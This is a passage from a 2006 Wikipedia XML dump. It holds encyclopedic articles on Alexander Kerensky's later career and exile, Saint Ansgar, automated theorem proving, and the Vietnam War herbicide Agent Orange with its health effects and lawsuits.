When the [[February Revolution]] broke out in 1917 Kerensky was one of the revolution's most prominent leaders, and was elected vice-chairman of the [[Petrograd Soviet]] ([[soviet|workers' council]]). When the [[Russian Provisional Government, 1917|Provisional Government]] was formed he was initially Minister of Justice, but he became Minister of War in May and Prime Minister in July 1917. Following the failed [[coup]] of General [[Lavr Kornilov]] in August and the resignation of the ministers, he appointed himself Supreme Commander-in-Chief as well. 

Kerensky's essential problem in office was that Russia was exhausted after three years of [[warfare]] and the Russian people wanted nothing but peace. Lenin and his [[Bolshevik]] party were promising &quot;peace, land, and bread&quot; under a [[communist]] system, and the army was disintegrating as the peasant and worker soldiers deserted. But Kerensky and the other political leaders felt obliged by their commitments to Russia's allies to continue the war, and also correctly feared that [[Germany]] would demand enormous territorial concessions as the price for peace. Kerensky's refusal to withdraw Russia from the war proved his undoing.

==October Revolution of 1917==
During the [[Kornilov Coup]] Kerensky had distributed arms to the [[Petrograd]] workers, and by October most of these armed workers had gone over to the Bolsheviks. Lenin was determined to overthrow Kerensky's [[government]] before it could be legitimised by the planned [[election]]s for a [[Russian Constituent Assembly]], and on [[October 25]] ([[November 7]] New Style), the Bolsheviks took power in what became known as the [[October Revolution]]. 

Kerensky escaped the Bolsheviks and went to [[Pskov]], where he rallied loyal troops for an attempt to retake the [[capital city|capital]]. His troops captured [[Tsarskoe Selo]] but were defeated the next day at [[Pulkovo]]. Kerensky narrowly escaped this defeat, and for the next few weeks he lived in hiding until he could leave the country, eventually arriving in [[France]]. During the [[Russian Civil War]] he supported neither side - he opposed both the Bolshevik regime and the reactionary [[White Movement]] generals trying to restore the monarchy.

==Life in exile==
Kerensky lived in [[Paris]] until 1940, engaged in the endless splits and quarrels of the exiled Russian democratic leaders. When the Germans overran France, he escaped to the [[United States]] in 1940.

In 1939 he had married former [[Australian]] [[journalism|journalist]] Lydia ‘Nell' Tritton.  In 1945 his wife became terminally ill.  He travelled with her to [[Brisbane]], [[Australia]] and lived there with her family until her death in February 1946.  Thereafter he returned to the United States where he lived until his death. 

When [[Adolf Hitler]]'s forces invaded the [[Soviet Union]] in 1941, Kerensky offered his support to [[Joseph Stalin|Stalin]], but received no reply. Instead he made broadcasts in [[Russian language|Russian]] in support of the war effort. After the war he organised a group called the [[Union for the Liberation of Russia]], but this achieved little.

[[Image:Kerenskygrave.jpg|thumb|left|Grave of Kerensky in London]]

Kerensky eventually settled in [[New York City]], but he spent much of his time at the [[Hoover Institution]] at [[Stanford University]] in [[California]], where he both used and contributed to the Institution's huge archive on [[Russian history]], and where he taught graduate courses.  He wrote and broadcast extensively on Russian [[politics]] and [[history]].

Kerensky's major works of writing include ''The Prelude to Bolshevism'' (1919), ''The Catastrophe'' (1927), ''The Crucifixion of Liberty'' (1934) and ''Russia and History's Turning Point'' (1966).

Kerensky died at his home in New York in 1970, one of the last surviving major participants in the turbulent events of 1917.  The local [[Russian Orthodox Church]]es in New York refused to grant Kerensky burial, seeing him as being largely responsible for Russia falling to the Bolsheviks. A [[Serbian Orthodox church]] also refused. Kerensky's body was then flown to [[London]] where he was buried at a non-denominational [[cemetery]].

==References==

R. Abraham; &quot;Kerensky - First Love of the Revolution&quot; - Columbia University Press 1987

==External links==

*[http://www.stanfordalumni.org/news/magazine/2001/janfeb/features/kerensky.html An account of Kerensky at Stanford in the 1950s]

{{start box}}
{{succession box | before = [[Georgy Evgenyevich Lvov]] | title = [[Prime Minister of Russia]] | years =  [[July 21]] [[1917]]&amp;mdash;[[November 8]] [[1917]]    | after = Position dissolved}}
{{succession box | before = [[Georgy Evgenyevich Lvov]] | title = [[Russian Provisional Government, 1917|President of the Russian Provisional Government of 1917]] | years = [[July 21]] [[1917]] &amp;mdash; [[November 8]] [[1917]] | after = [[Vladimir Lenin]] (as [[List of leaders of the Soviet Union|Chairman of the Council of People's Commissars]])}}
{{end box}}

[[Category:1881 births|Kerensky, Alexander]]
[[Category:1970 deaths|Kerensky, Alexander]]
[[Category:Prime Ministers of Russia|Kerensky, Alexander]]
[[Category:Russian Revolution people|Kerensky, Alexander]]
[[Category:Imperial Russian politicians|Kerensky, Alexander]]
[[Category:Russian people in the United States|Kerensky, Alexander]]
[[Category:Socialists|Kerensky, Alexander]]

{{Link FA|nl}}

[[cs:Alexandr Fjodorovič Kerenskij]]
[[de:Alexander Fjodorowitsch Kerenski]]
[[et:Aleksandr Kerenski]]
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[[ko:알렉산드르 케렌스키]]
[[id:Alexander Kerensky]]
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[[he:אלכסנדר קרנסקי]]
[[nl:Alexander Kerenski]]
[[ja:アレクサンドル・ケレンスキー]]
[[pl:Aleksander Kiereński]]
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[[ru:Керенский, Александр Фёдорович]]
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[[uk:Керенський Олександр Федорович]]
[[zh:亚历山大·克伦斯基]]</text>
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  </page>
  <page>
    <title>Ansgar</title>
    <id>2544</id>
    <revision>
      <id>41938681</id>
      <timestamp>2006-03-02T19:32:07Z</timestamp>
      <contributor>
        <ip>66.82.9.64</ip>
      </contributor>
      <comment>/* External links */</comment>
      <text xml:space="preserve">[[Image:Ansgar.jpg|thumb|right|300px|Ansgar, etching by Hugo Hamilton (1830)]]
Saint '''Ansgar''', '''Anskar''' or '''Oscar''', ([[September 8]]?, [[801]]&amp;ndash;[[February 3]], [[865]]) was an [[Archbishopric of Bremen|Archbishop of Hamburg-Bremen]]. The see of Hamburg was designated a &quot;Mission to bring Christianity to the [[Northern Europe|North]]&quot;, and Ansgar became known as the &quot;Apostle of the North&quot;.

Ansgar was born in [[Amiens]]. He had for a period resided with the baptized [[Denmark|Danish]] king [[Harald Klak]] and when [[Louis the Pious]] at [[Worms, Germany|Worms]] in [[829]] was requested by two representatives from [[Sweden]] and the Swedish king [[Björn at Hauge]], he appointed Ansgar missionary. The representatives had claimed that the several [[Swedes]] were willing to convert to Christendom. Ansgar arrived at [[Birka]] in 829, with his aide friar Witmar, and a small congregation was formed in [[831]], which included the king's own steward Hergeir, as the most prominent member.

He died 865 in [[Bremen (city)|Bremen]]. His life story was written by his successor as archbishop, [[Rimbert]], in [[Vita Ansgari]].

Statues dedicated to him stand in Hamburg and Copenhagen as well as a stone cross at Birka. A [[Impact crater|crater]] on the [[Moon]], [[Ansgarius (crater)|Ansgarius]], has been named for him. Ansgar is the patron saint of Denmark. His [[Calendar of saints|feast day]] is [[3 february]].

==External links==
*[http://www.skolinternet.telia.se/TIS/birka/texteng/hist.htm Ansgar at Birka History of Birka]
*[[Vita Ansgari]], English translation from [http://www.fordham.edu/halsall/basis/anskar.html Medieval sourcebook]
*[http://www.uni-heidelberg.de/subject/hd/fak7/hist/c1/de/gen/gen/grmnhist/log.started920201/mail-16.html German History Forum]

[[Category:801 births|Ansgar]]
[[Category:865 deaths|Ansgar]]
[[Category:Saints|Ansgar]]
[[Category:Roman Catholic archbishops]]
[[Category:Diplomats of the Holy See]]
[[Category:Viking Age]]

[[cs:Ansgar]]
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[[sv:Ansgar]]</text>
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  <page>
    <title>Automated theorem proving</title>
    <id>2546</id>
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      <contributor>
        <username>Qwertyus</username>
        <id>196471</id>
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      <minor />
      <comment>/* Popular techniques */ add lean theorem proving</comment>
      <text xml:space="preserve">'''Automated theorem proving''' (currently the most important subfield of  ''[[automated reasoning]]'') is the [[mathematical proof|proving]] of mathematical [[theorem]]s by a computer program. Depending on the underlying logic, the problem of deciding the validity of a theorem varies from trivial to impossible. For the frequent case of [[propositional logic]], the problem is decidable but [[NP-complete]], and hence only exponential-time algorithms are believed to exist for general proving tasks. For [[first-order logic]] it is [[recursively enumerable]], i.e., given unbounded resources, any valid theorem can eventually be proven. Invalid statements, i.e. formulas that are ''not'' entailed by a given theory, cannot always be recognized.  In these cases, a first-order theorem prover may fail to terminate while searching for a proof. Despite these theoretical limits, practical theorem provers can solve many hard problems in these logics.

A simpler, but related problem is [[proof verification]], where an existing proof for a theorem is certified valid. For this, it is generally required that each individual proof step can be verified by a [[primitive recursive function]] or program, and hence the problem is always decidable. 

''Interactive theorem provers'' require a human user to give hints to the system. Depending on the degree of automation, the prover can essentially be reduced to a proof checker, with the user providing the proof in a formal way, or significant proof tasks can be performed automatically. Interactive provers are used for a variety of tasks, but even fully automatic systems have by now proven a number of interesting and hard theorems, including some that have eluded human mathematicians for a long time. However, these successes are sporadic, and work on hard problems usually requires a proficient user.

Another distinction is sometimes drawn between theorem proving and other techniques, where a process is considered to be theorem proving if it consists of a traditional proof, starting with axioms and producing new inference steps using rules of inference.  
Other techniques would include [[model checking]], which is equivalent to brute-force enumeration of many possible states (although the actual implementation of model checkers requires much cleverness, and does not simply reduce to brute force).  
There are hybrid theorem proving systems which use model checking as an inference rule.
There are also programs which were written to prove a particular theorem, with a (usually informal) proof that if the program finishes with a certain result, then the theorem is true.
A good example of this was the machine-aided proof of the [[four color theorem]], which was very controversial as the first claimed mathematical proof which was essentially impossible to verify by humans due to the enormous size of the program's calculation (such proofs are called non-surveyable proofs). 
Another example would be the proof that the game [[Connect Four]] is a win for the first player.

Commercial use of automated theorem proving is mostly concentrated in integrated circuit design and verification.  Since the [[Pentium FDIV bug]], the complicated [[floating point unit]]s of modern microprocessors have been designed with extra scrutiny.  In the latest processors from [[AMD]], [[Intel]], and others, automated theorem proving has been used to verify that the divide and other operations are correct.

==First-order theorem proving==

[[First-order logic|First-order]] theorem proving is one of the most mature subfields of automated theorem proving. The logic is expressive enough to allow the specification of arbitrary problems, often in a reasonably natural and intuitive way. On the other hand, it is still semi-decidable, and a number of sound and complete calculi have been developed, enabling ''fully'' automated systems. The quality of implemented system  has benefited by the existence of a large library of standard benchmark examples (the [[TPTP]]), as well as by the [[Conference on Automated Deduction|CADE]] ATP System Competition (CASC), a yearly competition of first-order systems for many important classes of first-order problems. 

Some important system (all have won at least one CASC competition division) are listed below.

* [[E equational theorem prover|E]] is a high-performance prover built on a [[purely equational calculus]], developed primarily in the automated reasoning group of [[Technical University of Munich]].
* [[Otter theorem prover|Otter]], developed at the [[Argonne National Laboratory]], is the first widely used high-performance theorem prover. It is based on [[first-order resolution]] and [[paramodulation]].
* [[SETHEO]] is a high-performance system based on the goal-directed [[model elimination]] calculus. It is developed in the automated reasoning group of [[Technical University of Munich]]. E and SETHEO have been combined (with other systems) in  the composite theorem prover E-SETHEO.
* [[Vampire theorem prover|Vampire]] is developed and implemented at [http://www.manchester.ac.uk/ Manchester University] by [http://www.cs.man.ac.uk/~voronkov/ Andrei Voronkov], formerly together with [http://www.freewebs.com/riazanov/ Alexandre Riazanov]. It has won the &quot;world cup for theorem provers&quot; (the  [http://www.cs.miami.edu/~tptp/CASC/J2/ CADE ATP (Automated theorem prover) System Competition]) in the most prestigious MIX division for six years (1999, 2001 - 2005).
* [[Waldmeister]] is a specialized system for unit-equational first-order logic. It has won the  [http://www.cs.miami.edu/~tptp/CASC/ CASC]  UEQ division for the last nine years (1997-2005).

== Popular techniques ==

*[[First-order resolution]] with [[unification]]
*[[Lean theorem prover|Lean theorem proving]]
*[[Model elimination]]
*[[Method of analytic tableaux]]
*[[Superposition calculus|Superposition]] and [[term rewriting]]
*[[Model checking]]
*[[Mathematical induction]]
*[[Binary decision diagram]]s
*[[DPLL algorithm|DPLL]]
*[[Higher-order unification]]

== Available implementations ==

* [[ACL2 theorem prover|ACL2]]
* [[Carine theorem prover|Carine]]
* [[Coq]]
* [[CVC Lite theorem prover|CVC Lite]]
* [[E equational theorem prover|E]]
* [[Isabelle theorem prover|Isabelle]]
* [[Gandalf theorem prover|Gandalf]]
* [[HOL theorem prover|HOL]]
* [[LCF theorem prover|LCF]]
* [http://www.irit.fr/ACTIVITES/LILaC/Lotrec/ LoTREC]
* [http://metaprl.org/ MetaPRL]
* [[Mizar system|Mizar]]
* [[NuPRL]]
* [[Otter theorem prover|Otter]]
* [[Paradox theorem prover|Paradox]]
* [[PhoX]]
* [[Prototype Verification System|PVS]]
* [[Simplify theorem prover|Simplify]]
* [[SPARK programming language]]
* [[SPASS theorem prover|SPASS]]
* [[Tau_theorem_prover | Tau]]
* [[Twelf]]
* [[Vampire theorem prover|Vampire]]
* [[Waldmeister theorem prover|Waldmeister]]

You can find information on some of these theorem provers
and others at http://www.tptp.org/CASC/J2/SystemDescriptions.html, or the [http://www.qpq.org QPQ website].
The TPTP library of test problems, suitable for testing first-order theorem provers, is available
at http://www.tptp.org, and solutions from many of these provers for TPTP problems are
in the TSTP solution library, available at http://www.tptp.org/TSTP .

== Important people ==

&lt;!-- Note that this list is alphabetic by last name --&gt;
* [[Leo Bachmair]] Co-developer of the [[superposition calculus]].
* [[Woody Bledsoe]] [[Artificial Intelligence]] pioneer.
* [[Robert Stephen Boyer]] Co-Author of the Boyer-Moore theorem prover, co-recipient of the [[Herbrand Award]] [[1999]].
* [http://www-unix.mcs.anl.gov/~mccune/ William McCune] Argonne National Laboratory. Author of Otter, the first high-performance theorem prover. Many important papers, recipient of the Herbrand Award 2000.
* [[Robert Constable]] Cornell University. Important contributions to type theory, NuPRL.
* [http://www.cs.nyu.edu/cs/faculty/davism/ Martin Davis] Author of the &quot;Handbook of Artificial Reasoning&quot;, co-inventor of the [[DPLL algorithm]], recipient of the Herbrand Award 2005.
* [http://www.fitelson.org/ Branden Fitelson] University of California at Berkeley. Work in shortest axiomatic bases for logic systems.
* [[Harald Ganzinger]] Co-developer of the superposition calculus, head of the MPI Saarbrücken, recipient of the [[Herbrand Award]] [[2004]] (posthumous).
* [[Michael Genesereth]]
* [[Michael J. C. Gordon]] Led the development of the HOL theorem prover.
* [http://www.cs.duke.edu/~dwl/ Donald W. Loveland] Duke University. Author, co-developer of the DPLL-procedure, developer of [[model elimination]], recipient of the [[Herbrand Award]] [[2001]].
* [[Sergei Maslov]]
* Norm Megill, maintainer of [http://www.metamath.org metamath.org], an online database of automatically verified proofs.
* [[J Strother Moore]] Co-Author of the Boyer-Moore theorem prover, co-recipient of the Herbrand Award 1999.
* [[Robert Nieuwenhuis]] University of Barcelona. Co-developer of the superposition calculus.
* [[Tobias Nipkow]] [[Technical University of Munich]], contributions to (higher-order) rewriting, co-developer of the [[Isabelle theorem prover|Isabelle]] proof assistant
* [[Ross Overbeek]] Argonne National Laboratory. Founder of [http://theseed.uchicago.edu/FIG/Html/FIG.html The Fellowship for Interpretation of Genomes]
* [[Lawrence C. Paulson]] [[University of Cambridge]], work on higher-order logic system, co-developer of the Isabelle proof assistant
* [[David A. Plaisted]] [[University of North Carolina at Chapel Hill]]. Complexity results, contributions to [[rewriting]] and [[Knuth-Bendix completion algorithm|completion]], instance-based theorem proving. 
* [http://www.csl.sri.com/users/rushby/ John Rushby] Program Director - [[SRI International]]
* [[John Alan Robinson (Computer Scientist)|J. Alan Robinson]] Syracuse University. Developed original resolution and unification based first order theorem proving, co-editor of the &quot;Handbook of Automated Reasoning&quot;, recipient of the Herbrand Award 1996
* [[Natarajan Shankar]] [[SRI International]], work on decision procedures, ''little engines of proof'', co-developer of [[Prototype Verification System|PVS]].
* [[Mark Stickel]] [[SRI]]. Recipient of the Herbrand Award 2002.
* [http://www.cs.miami.edu/~geoff/ Geoff Sutcliffe] University of Miami. Maintainer of the TPTP collection, an organizer of the CADE annual contest.
* [http://www.cs.unm.edu/~veroff/ Robert Veroff] University of New Mexico. Many important papers.
* [http://www.cs.man.ac.uk/~voronkov/ Andrei Voronkov] Co-Editor of the &quot;Handbook of Automated Reasoning&quot;
* [http://www-unix.mcs.anl.gov/~wos/ Larry Wos]  Argonne National Laboratory. (Otter) Many important papers.

== References (books) ==
* ''Symbolic Logic and Mechanical Theorem Proving''. Chin-Liang Chang and Richard Char-Tung Lee. [[Academic Press]] ([[1973]]) 
* ''Automated Theorem Proving: A Logical Basis''. ''Fundamental Studies in Computer Science Volume 6''. Donald W. Loveland. [[North-Holland Publishing]] ([[1978]])
* ''Logic for Computer Science: Foundations of Automatic Theorem Proving''. Jean H. Gallier. [[Harper &amp; Row Publishers]] ([[1986]])  [http://www.cis.upenn.edu/~jean/gbooks/logic.html Download]
* ''Principles of Automated Theorem Proving''. David A. Duffy. [[John Wiley &amp; Sons]] ([[1991]])
* ''Automated Reasoning: Introduction and Applications (2nd edition)''. Larry Wos, Ross Overbeek, Ewing Lusk, and Jim Boyle. [[McGraw-Hill]] ([[1992]]) 
* ''Handbook of Automated Reasoning Volume I &amp; II''. Alan Robinson and Andrei Voronkov (eds.) [[Elsevier]] and [[MIT Press]] ([[2001]])

== See also ==
* [[Computer-aided proof]]
* [[Proof complexity]]

[[Category:Formal methods]] 
[[Category:Proofs]]
[[Category:Theorem provers]]

[[pl:Automatyczne dowodzenie twierdze&amp;#324;]][[de:Computerbeweis]]</text>
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  <page>
    <title>Agent Orange</title>
    <id>2547</id>
    <revision>
      <id>42112781</id>
      <timestamp>2006-03-03T22:27:05Z</timestamp>
      <contributor>
        <ip>213.139.195.162</ip>
      </contributor>
      <text xml:space="preserve">{{otherUses|an herbicide and defoliant}}

[[Image:Agent Orange Cropdusting.jpg|thumb|right|250px|U.S. Military planes cropdusting in Vietnam during [[Operation Ranch Hand]]]]'''Agent Orange''' is the code name for a powerful [[herbicide]] and [[defoliant]] used by the [[United States armed forces|U.S. military]] in its [[Herbicidal Warfare]] program during the [[Vietnam War]]. Agent Orange was used from 1961 to 1971, and was by far the most used of the so-called &quot;rainbow herbicides&quot; used during the program. Agent Orange (as well as [[Agent Purple|Agents Purple]], [[Agent Pink|Pink]], [[Agent Blue|Blue]] and [[Agent Green|Green]]) contained [[dioxin]]s which caused serious harm to the health of exposed Vietnamese, South Koreans, Australians, New Zealanders, Canadians and Americans, as well as their children and grandchildren. Dioxins are recognized as strong [[carcinogen]]s and [[Teratogenesis|teratogen]]s (literally, ''monster-making'') - which are persistent in the environment and in the human body. Since the [[1980s]], several lawsuits have been filed against the companies who produced Agent Orange, among them being [[Dow Chemical Company|Dow Chemical]] and [[Monsanto]]. U.S. veterans obtained $180 million in compensation in 1984, while Australian, Canadian and New Zealand veterans also obtained compensation in an out-of-court settlement the same year. In 1999, 20,000 South Koreans filed a lawsuit in Korea; in January 2006, the Korean Appeal Court ordered Monsanto and Dow to pay $62 million in compensation to about 6,800 people. However, the Vietnamese victims, by far the most affected, haven't yet obtained compensation, and a U.S. Appeal Court is due to examine their appeal in March 2006.

== Description ==

Agent Orange is a roughly 1:1 mixture of two [[phenoxy herbicide]]s in [[ester]] form, [[2,4-dichlorophenoxyacetic acid]] (2,4-D) and [[2,4,5-trichlorophenoxyacetic acid]] (2,4,5-T). These herbicides were developed during the 1940s by independent teams in [[England]] and the [[United States]] for use in controlling broad-leaf plants. Phenoxy agents work by mimicking a plant [[growth hormone]], [[indoleacetic acid]] (IAA). When sprayed on broad-leaf plants they induce rapid, uncontrolled growth, eventually killing them. When sprayed on crops such as [[wheat]] or [[maize|corn]], it selectively kills just the broad-leaf plants in the field - the weeds - leaving the crop relatively unaffected. First introduced in 1946, these herbicides were in widespread use in [[agriculture]] by the middle of the 1950s.

It was later learned that a dioxin, [[tetrachlorodibenzodioxin|2,3,7,8-tetrachlorodibenzo-para-dioxin]] (TCDD), is produced as a side effect of the manufacture of 2,4,5-T, and was thus present in any of the herbicides that used it. The '''National Toxicology Program''' has classified TCDD to be a known human carcinogen, frequently associated with soft-tissue sarcoma, Non-Hodgkin's lymphoma, Hodgkin's disease and chronic lymphocytic leukemia (CLL). 2,4,5-T has since been banned for use in the US and many other countries.

The herbicide 2,4-D does not contain dioxin, and remains one of the most used herbicides in the world today.

Diseases associated with dioxin exposure are [[chloracne]], [[Soft tissue sarcoma|soft tissue sarcomas]], [[Hodgkin's lymphoma|Hodgkin's disease]], and [[non-Hodgkin's lymphoma|non-Hodgkin's disease]]. Diseases with limited evidence of an association with Agent Orange are respiratory cancers, [[prostate cancer]], [[multiple myeloma]], [[Porphyria cutanea tarda]] (a type of skin disease), acute and subacute transient [[Peripheral neuropathy|peripheral neuropathy]], [[spina bifida]], [[Diabetes mellitus type 2|Type 2 diabetes]], and [[Acute myelogenous leukemia|acute myelogenous leukemia]] found only in the second or third generation. Diseases with inadequate or insufficent evidence of an association are hepatobiliary cancers, nasal or [[nasophargyngeal cancer]]s, bone cancer, female reproductive cancers, [[renal cancer]], [[testicular cancer]], [[leukemia]], spontaneous abortion, [[birth defect]]s, neonatal or infant death and [[stillbirth]]s, low birth weight, childhood cancers, abnormal sperm parameters, cognitive neuropsychiatric disorders, [[ataxia]], peripheral nervous system disorders, circulatory disorders, respiratory disorders, skin cancers, urinary and bladder cancer. Diseases with limited or suggestive evidence of no association are gastrointestinal tumors such as stomach cancer, pancreatic cancer, [[colon cancer]], and rectal cancer, and [[brain tumor]]s.

== Use in Vietnam (1961-1971) ==

:''This section covers the use of all of the &quot;rainbow&quot; herbicides.''

During the [[Vietnam War]], the US instituted a massive herbicidal program that ran from 1961 through 1971. The aim of the program was two-fold, one to destroy the &quot;cover&quot; provided by the jungle-like forest, and another to deny food to the enemy. First named [[Operation Trail Dust]], then [[Operation Hades]], it was finally renamed [[Operation Ranch Hand]].

A variety of chemicals, fifteen in total, were tested or used operationally during this program. The primary broad-leaf herbicides sprayed during the &quot;testing&quot; phase of the program between 1962 and 1964 were Agent Orange, [[Agent Purple]] and [[Agent White]]. The chemicals themselves had no color, the names refer to colored stripes painted on the 55 gallon barrels to identify their contents. Much smaller amounts of other herbicides were also tested, including [[Agent Pink]], [[Agent Green]], Dinoxol, Trinoxol, Bromacil, Diquat, Tandex, Monuron, Diuron and Dalapon. [[Agent Blue]] was an unrelated herbicide based primarily on [[arsenic]] used to kill [[rice]] plants which were not susceptible to the phenoxy-based agents. A variety of [[Paraquat]]-related chemicals were apparently also tested in this role. For spraying, the various agents were mixed with [[kerosene]] or [[diesel]] fuel.

By 1964 the testing phase had ended, and Agent Orange was selected as the most effective agent for &quot;territory denial&quot;. Operational use started in January 1965, increasing in breadth as [[logistics|logistical]] problems were solved. Most of Agent Orange sprayed during the program was delivered from modified [[US Air Force]] [[C-123 Provider|C-123K ''Provider'']] aircraft under a program known as [[Operation Ranch Hand]]. Other delivery methods included helicopters, truck and hand spraying, notably for the areas directly around US bases. From 1968 on, an improved version known as &quot;Orange II&quot; or &quot;Super Orange&quot; was used as well.

Spraying reached its maximum during the most intense period of the war, between 1967 and 1968. After that the program &quot;drew down&quot;, and ended in 1971. By this point an estimated '''19 million gallons''' of herbicide had been sprayed on [[Vietnam]], [[Cambodia]] and [[Thailand]], somewhat more than half (55%) of that Agent Orange, between 1962 and 1971. Early estimates from 1974 had placed the amounts lower, between 12 and 14 million gallons. In total about six million acres were sprayed in Vietnam alone.

The military effectiveness of the program appears debatable. Many of the areas sprayed were not directly involved in later military actions. Of course, this could be considered as evidence ''for'' the effectiveness of the program. Nor does it appear there is any measurable effect on the warfighting abilities of the groups involved, the [[People's Army of Vietnam]] were able to mount full scale assaults in 1972 with little US intervention prior, which suggests that the program was, militarily, a failure.

== Effects of the program ==

=== The New Jersey Agent Orange Commission ===

In 1980, [[New Jersey]] created the New Jersey Agent Orange Commission, the first state commission created to study its effects. The Commission's research project in association with Rutgers University was called &quot;The Pointman Project&quot;. It was disbanded by governor [[Christine Todd Whitman]] in 1996.

=== The National Academy of Science 2003 report ===

An April 2003 report paid for by the [[National Academy of Sciences]] concluded that during the [[Vietnam War]], '''3,181 villages''' were sprayed directly with herbicides. Between '''2.1 and 4.8 million people''' &quot;would have been present during the spraying.&quot; Furthermore, many US military personnel were also sprayed or came in contact with herbicides in recently sprayed areas. The study was originally undertaken for the US military to get a better count of how many veterans served in sprayed areas and researchers were given access to military records and Air Force operational folders previously not studied. The re-estimate made by the report places the volume of herbicides sprayed between 1962 and 1971 to a level 7,131,907 liters more than an uncorrected estimate published in 1974 and 9.4 million more liters than a 1974 corrected inventory. It was produced under contract for the Army by [[Diamond Shamrock]], [[Dow Chemical Company|Dow]], Hercules, [[Monsanto]], [[T-H Agricultural &amp; Nutrition]], [[Thompson Chemicals]], and [[United States Rubber Company|Uniroyal]].  

The National Academy of Sciences has also noted the harmful effects of the herbicides on US soldiers.

== Lawsuits ==

In 1984, Agent Orange manufacturers paid Australian, Canadian and New Zealand veterans in an out-of-court settlement {{ref|MercuryNews}}.

=== US Vietnamese victims class action lawsuit ===

On January 31, 2004, a [[victim's rights group]], the Vietnam Association for Victims of Agent Orange/Dioxin (VAVA), filed a [[class action]] lawsuit in a US Federal [[District Court]] in [[Brooklyn, New York]], against several US companies, for liability in causing personal injury, by developing and producing the chemical. [[Dow Chemical]] and [[Monsanto]] were the two largest producers of Agent Orange for the [[US military]], and were named in the suit along with eight other companies (Diamond Shamrock, Uniroyal, Thompson Chemicals, Hercules, etc.). A number of lawsuits by American [[G.I.| GIs]] have been won in the years since the Vietnam War. 

On March 10, 2005, the District Court [[judge]] Jack Weinstein - who had defended the US veterans victims of Agent Orange - dismissed the suit, ruling that there was no legal basis for the [[plaintiff | plaintiffs']] claims. The judge concluded that Agent Orange was not considered a poison under [[international law]] at the time of its use by the US; that the US was not prohibited from using it as an herbicide; and that the companies which produced the substance were not liable for the method of its use by the government. The US [[government]], which has [[sovereign immunity]], had not been a target of the lawsuit. However, in 1984, chemical companies that manufactured Agent Orange paid $180 million into a fund for United States veterans following a lawsuit.

In [[September 30]], [[2005]], the Vietnamese victims lodged an appeal; the Court of Appeal is due to examine it in [[March 2006]]. The funds gained should be used to finance the &quot;Peace villages&quot; in Vietnam, which each host between 50 to 100 victims, giving them medical and psychological help. As of 2006, they were 11 such Peace villages, thus granting some social protection to less than a thousand victims.

The VA &lt;!-- what is the VA? the Vietnam ASsociation? than it's VAVA... ---&gt; has listed prostate cancer, respiratory cancers, multiple myeloma, type II diabetes, Hodgkin’s disease, non-Hodgkin’s lymphoma, soft tissue sarcoma, chloracne, porphyria cutanea tarda, peripheral neuropathy, and spina bifida in children of veterans exposed to Agent Orange as side effects of the herbicide.

=== South Korean lawsuit ===

In 1999,  about 20 000 [[South Korea]]ns filed two separated lawsuits against US companies, seeking more than $5 billion in damages. After losing a decision in 2002, they made [[appeal]].
In January 2006, the South Korean Appeal Court ordered Dow Chemical and Monsanto to pay '''$62 million''' in compensation to about '''6 800 people'''. The ruling acknowledged that &quot;the [[defendant]]s failed to ensure safety as the defoliants manufactured by the defendents had higher levels of dioxins than standard&quot;, and, quoting the U.S. National Academy of Science report, declared that there was a &quot;causal relationship&quot; between Agent Orange and 11 diseases, including cancers of the lung, larynx and prostate. However, the judges failed to acknowledge &quot;the relationship between the chemical and [[peripheral neuropathy]], the disease most widespread among Agent Orange victims&quot; according to the ''[[Mercury News]]''.
South Koreans was the largest foreign contingent of US allies in Vietnam, contributing some 320 000 troups. It lost 5 077 soldiers and suffered 10 962 wounded, according to the ''Mercury News''. {{ref label|MercuryNews|1|a}}

== Miscellaneous ==

* The [[Union Carbide]] company produced the constituents of Agent Orange at [[Homebush Bay]] in [[Sydney]], [[Australia]] where the [[2000 Summer Olympics]] were staged.[http://www.abc.net.au/rn/science/earth/stories/s160995.htm]
* The Uniroyal plant in [[Elmira,_Ontario|Elmira]], [[Ontario]] was one of seven suppliers producing Agent Orange for the U.S. military's use in Vietnam.

== Cultural references ==

Due to its politically sensitive nature, Agent Orange has become a common topic for reference in popular culture.

For example, the song &quot;Orange Crush&quot; by the group [[R.E.M. (band)|R.E.M]], and the [[punk rock|punk]] band [[Agent Orange (band)|Agent Orange]].

== Further reading ==

* Weisman, Joan Murray. ''The Effects of Exposure to Agent Orange on the Intellectual Functioning, Academic Achievement, Visual Motor Skill, and Activity Level of the Offspring of Vietnam War Veterans.'' Doctoral thesis. Hofstra University. 1986.

== Endnotes ==

#{{note|MercuryNews}}{{note label|MercuryNews|1|a}}{{Citenews | title=Korea orders Agent Orange payments | date=January 26, 2006 | org=Mercury News | url=http://www.mercurynews.com/mld/mercurynews/news/world/13714640.htm}}

== See also ==

* [[Teratogen]] (literally, ''monster-making'')
* [[Dow Chemical]]
* [[Monsanto]]
* [[Vietnam War]]
* [[Depleted uranium]]
* [[Thalidomide]]

== External links ==
* [http://news.bbc.co.uk/1/hi/health/3798581.stm Vietnam's war against Agent Orange] - the [[BBC]] reports that the effects of Agent Orange are still felt across Vietnam in 2004; mentions the victim's group lawsuit. 
* Also on the [[BBC]], [http://news.bbc.co.uk/2/hi/asia-pacific/4494347.stm The legacy of Agent Orange], following Agent Orange Day 2005 (10 August).
* [http://news.bbc.co.uk/2/hi/americas/4336941.stm Agent Orange legal case dismissed] - report of the US Federal court ruling on the VAVA suit.
* [http://www.vietnam-dioxine.org/index.php?piIdLangue=2 www.vietnam-dioxin.org], an information website on the consequences of Agent Orange and dioxin in Vietnam, Cambodia and Laos.
* [http://vava.portal.vinacomm.com.vn/ Vietnam Association for Victims of Agent Orange/Dioxin] - victim's group's website
* [http://www.who.int/ipcs/publications/en/exe-sum-final.pdf Assessment of the health risk of dioxins 1998] by the [[World Health Organization|WHO]] and the [[International Programme on Chemical Safety|IPCS]] (pdf).
* [http://www.greenfacts.org/dioxins/index.htm A summary of the previous report] by [[GreenFacts]].
* [http://adbusters.org/blogs/index.php?option=com_content&amp;task=view&amp;id=26&amp;Itemid=47 A Culture of Life]: On Agent Orange, depleted uraniuim, and the 2005 AO victims' lawsuit.
* [http://www.aoe.uk.com www.aoe.uk.com] Agent Orange Enterprises website
* [http://snopes.com/photos/medical/orange.asp Snope.com's] article on images of the Agent Orange.
* [http://www.vn-agentorange.org/ Vietnam Agent Orange Relief &amp;amp; Responsibility Campaign] Campaign for helping support the Vietnamese victims of Agent Orange
* [http://www.chinadaily.com.cn/english/doc/2004-02/05/content_303315.htm Children and the Viet Nam War 30-40 years after the use of Agent Orange], article with pictures (warning: uncensored, may be found shocking)
* [http://www.danangquangnamfund.org  Thousands of letters and pictures supplied by the familes of victims of Agent Orange throughout Vietnam

[[Category:Vietnam War]]
